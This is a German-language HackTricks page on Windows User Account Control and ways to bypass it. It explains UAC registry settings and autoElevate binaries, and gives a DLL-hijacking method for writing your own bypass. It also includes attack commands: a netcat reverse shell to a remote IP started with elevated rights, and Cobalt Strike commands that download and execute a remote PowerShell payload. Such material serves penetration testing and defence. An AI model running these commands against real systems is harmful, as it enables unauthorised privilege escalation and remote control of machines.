UAC - Benutzerkontensteuerung
Reading time: 11 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
UAC
Benutzerkontensteuerung (UAC) ist eine Funktion, die eine Zustimmungsaufforderung für erhöhte Aktivitäten ermöglicht. Anwendungen haben unterschiedliche integrity
-Level, und ein Programm mit einem hohen Level kann Aufgaben ausführen, die das System potenziell gefährden könnten. Wenn UAC aktiviert ist, werden Anwendungen und Aufgaben immer unter dem Sicherheitskontext eines Nicht-Administrator-Kontos ausgeführt, es sei denn, ein Administrator autorisiert diese Anwendungen/Aufgaben ausdrücklich, um Administratorzugriff auf das System zu erhalten. Es ist eine Komfortfunktion, die Administratoren vor unbeabsichtigten Änderungen schützt, jedoch nicht als Sicherheitsgrenze betrachtet wird.
Für weitere Informationen zu Integritätsstufen:
Wenn UAC aktiv ist, erhält ein Administratorkonto 2 Tokens: einen Standardbenutzer-Schlüssel, um reguläre Aktionen auf regulärem Niveau auszuführen, und einen mit Administratorrechten.
Diese Seite behandelt, wie UAC im Detail funktioniert und umfasst den Anmeldeprozess, die Benutzererfahrung und die UAC-Architektur. Administratoren können Sicherheitsrichtlinien verwenden, um zu konfigurieren, wie UAC spezifisch für ihre Organisation auf lokaler Ebene (unter Verwendung von secpol.msc) funktioniert oder über Gruppenrichtlinienobjekte (GPO) in einer Active Directory-Domänenumgebung konfiguriert und bereitgestellt werden. Die verschiedenen Einstellungen werden im Detail hier besprochen. Es gibt 10 Gruppenrichtlinieneinstellungen, die für UAC festgelegt werden können. Die folgende Tabelle bietet zusätzliche Details:
UAC Bypass-Theorie
Einige Programme werden automatisch erhöht, wenn der Benutzer zur Administratorgruppe gehört. Diese Binärdateien haben in ihren Manifests die autoElevate-Option mit dem Wert True. Die Binärdatei muss auch von Microsoft signiert sein.
Um die UAC (von mittlerem Integritätslevel zu hohem zu erhöhen) zu umgehen, verwenden einige Angreifer diese Art von Binärdateien, um beliebigen Code auszuführen, da er von einem Prozess mit hohem Integritätslevel ausgeführt wird.
Sie können das Manifest einer Binärdatei mit dem Tool sigcheck.exe von Sysinternals überprüfen. Und Sie können den Integritätslevel der Prozesse mit Process Explorer oder Process Monitor (von Sysinternals) sehen.
UAC überprüfen
Um zu bestätigen, ob UAC aktiviert ist, führen Sie Folgendes aus:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
Wenn es 1
ist, dann ist UAC aktiviert, wenn es 0
ist oder nicht existiert, dann ist UAC inaktiv.
Überprüfen Sie dann, welches Niveau konfiguriert ist:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- Wenn
0
dann wird UAC nicht auffordern (wie deaktiviert) - Wenn
1
wird der Administrator nach Benutzername und Passwort gefragt, um die Binärdatei mit hohen Rechten auszuführen (auf Secure Desktop) - Wenn
2
(Immer benachrichtigen) wird UAC immer um Bestätigung des Administrators bitten, wenn er versucht, etwas mit hohen Rechten auszuführen (auf Secure Desktop) - Wenn
3
wie1
, aber nicht unbedingt auf Secure Desktop - Wenn
4
wie2
, aber nicht unbedingt auf Secure Desktop - wenn
5
(Standard) wird der Administrator um Bestätigung gebeten, um nicht Windows-Binärdateien mit hohen Rechten auszuführen
Dann müssen Sie den Wert von LocalAccountTokenFilterPolicy
überprüfen
Wenn der Wert 0
ist, kann nur der RID 500 Benutzer (eingebauter Administrator) Admin-Aufgaben ohne UAC ausführen, und wenn es 1
ist, können alle Konten in der Gruppe "Administratoren" dies tun.
Und schließlich überprüfen Sie den Wert des Schlüssels FilterAdministratorToken
Wenn 0
(Standard), kann das eingebaute Administratorkonto Remote-Administrationsaufgaben durchführen und wenn 1
das eingebaute Administratorkonto kann keine Remote-Administrationsaufgaben durchführen, es sei denn, LocalAccountTokenFilterPolicy
ist auf 1
gesetzt.
Zusammenfassung
- Wenn
EnableLUA=0
oder nicht existiert, kein UAC für niemanden - Wenn
EnableLua=1
undLocalAccountTokenFilterPolicy=1
, kein UAC für niemanden - Wenn
EnableLua=1
undLocalAccountTokenFilterPolicy=0
undFilterAdministratorToken=0
, kein UAC für RID 500 (eingebauter Administrator) - Wenn
EnableLua=1
undLocalAccountTokenFilterPolicy=0
undFilterAdministratorToken=1
, UAC für alle
All diese Informationen können mit dem metasploit Modul gesammelt werden: post/windows/gather/win_privs
Sie können auch die Gruppen Ihres Benutzers überprüfen und das Integritätsniveau abrufen:
net user %username%
whoami /groups | findstr Level
UAC-Umgehung
note
Beachten Sie, dass die UAC-Umgehung einfach ist, wenn Sie grafischen Zugriff auf das Opfer haben, da Sie einfach auf "Ja" klicken können, wenn die UAC-Aufforderung erscheint.
Die UAC-Umgehung ist in der folgenden Situation erforderlich: die UAC ist aktiviert, Ihr Prozess läuft in einem Medium-Integritätskontext, und Ihr Benutzer gehört zur Administratorgruppe.
Es ist wichtig zu erwähnen, dass es viel schwieriger ist, die UAC zu umgehen, wenn sie auf dem höchsten Sicherheitsniveau (Immer) ist, als wenn sie auf einem der anderen Niveaus (Standard) ist.
UAC deaktiviert
Wenn die UAC bereits deaktiviert ist (ConsentPromptBehaviorAdmin
ist 0
), können Sie eine Reverse-Shell mit Administratorrechten (hoher Integritätslevel) ausführen, indem Sie etwas wie Folgendes verwenden:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
UAC-Umgehung mit Token-Duplikation
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
Sehr grundlegende UAC "Umgehung" (voller Zugriff auf das Dateisystem)
Wenn Sie eine Shell mit einem Benutzer haben, der in der Gruppe der Administratoren ist, können Sie das C$-Freigabe über SMB (Dateisystem) lokal auf einem neuen Laufwerk einbinden und Sie haben Zugriff auf alles im Dateisystem (sogar auf den Administrator-Hauptordner).
warning
Es scheint, dass dieser Trick nicht mehr funktioniert
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
UAC-Umgehung mit Cobalt Strike
Die Cobalt Strike-Techniken funktionieren nur, wenn UAC nicht auf dem maximalen Sicherheitsniveau eingestellt ist.
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire und Metasploit haben auch mehrere Module, um die UAC zu umgehen.
KRBUACBypass
Dokumentation und Tool in https://github.com/wh0amitz/KRBUACBypass
UAC-Umgehungs-Exploits
UACME , das eine Kompilation mehrerer UAC-Umgehungs-Exploits ist. Beachten Sie, dass Sie UACME mit Visual Studio oder MSBuild kompilieren müssen. Die Kompilierung erstellt mehrere ausführbare Dateien (wie Source\Akagi\outout\x64\Debug\Akagi.exe
), Sie müssen wissen, welche Sie benötigen.
Seien Sie vorsichtig, da einige Umgehungen andere Programme auffordern, die den Benutzer darauf hinweisen, dass etwas passiert.
UACME hat die Build-Version, ab der jede Technik zu funktionieren begann. Sie können nach einer Technik suchen, die Ihre Versionen betrifft:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
Auch auf der dieser Seite erhalten Sie die Windows-Version 1607
aus den Build-Versionen.
Weitere UAC-Umgehungen
Alle Techniken, die hier verwendet werden, um AUC zu umgehen, erfordern eine vollständige interaktive Shell mit dem Opfer (eine gängige nc.exe-Shell reicht nicht aus).
Sie können eine meterpreter-Sitzung verwenden. Migrieren Sie zu einem Prozess, der den Session-Wert gleich 1 hat:
(explorer.exe sollte funktionieren)
UAC-Umgehung mit GUI
Wenn Sie Zugriff auf eine GUI haben, können Sie einfach die UAC-Aufforderung akzeptieren, wenn Sie sie erhalten, Sie benötigen wirklich keine Umgehung. Der Zugriff auf eine GUI ermöglicht es Ihnen, die UAC zu umgehen.
Darüber hinaus, wenn Sie eine GUI-Sitzung erhalten, die jemand verwendet hat (möglicherweise über RDP), gibt es einige Tools, die als Administrator ausgeführt werden, von denen aus Sie beispielsweise cmd direkt als Admin ausführen können, ohne erneut von UAC aufgefordert zu werden, wie https://github.com/oski02/UAC-GUI-Bypass-appverif. Dies könnte etwas stealthy sein.
Lauter Brute-Force-UAC-Umgehung
Wenn es Ihnen nichts ausmacht, laut zu sein, könnten Sie immer etwas wie https://github.com/Chainski/ForceAdmin ausführen, das nach Erhöhung der Berechtigungen fragt, bis der Benutzer es akzeptiert.
Ihre eigene Umgehung - Grundlegende UAC-Umgehungsmethodik
Wenn Sie sich UACME ansehen, werden Sie feststellen, dass die meisten UAC-Umgehungen eine Dll Hijacking-Sicherheitsanfälligkeit ausnutzen (hauptsächlich das Schreiben der bösartigen dll in C:\Windows\System32). Lesen Sie dies, um zu erfahren, wie Sie eine Dll Hijacking-Sicherheitsanfälligkeit finden.
- Finden Sie eine Binärdatei, die autoelevate (prüfen Sie, ob sie beim Ausführen auf einem hohen Integritätslevel läuft).
- Verwenden Sie procmon, um "NAME NOT FOUND"-Ereignisse zu finden, die anfällig für DLL Hijacking sein können.
- Sie müssen wahrscheinlich die DLL in einige geschützte Pfade (wie C:\Windows\System32) schreiben, in denen Sie keine Schreibberechtigungen haben. Sie können dies umgehen, indem Sie:
- wusa.exe: Windows 7, 8 und 8.1. Es ermöglicht das Extrahieren des Inhalts einer CAB-Datei in geschützte Pfade (da dieses Tool von einem hohen Integritätslevel ausgeführt wird).
- IFileOperation: Windows 10.
- Bereiten Sie ein Skript vor, um Ihre DLL in den geschützten Pfad zu kopieren und die anfällige und autoelevierte Binärdatei auszuführen.
Eine weitere UAC-Umgehungstechnik
Besteht darin zu beobachten, ob eine autoElevated-Binärdatei versucht, aus der Registry den Namen/Pfad einer Binärdatei oder Befehls zu lesen, die ausgeführt werden soll (dies ist interessanter, wenn die Binärdatei diese Informationen innerhalb des HKCU sucht).
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.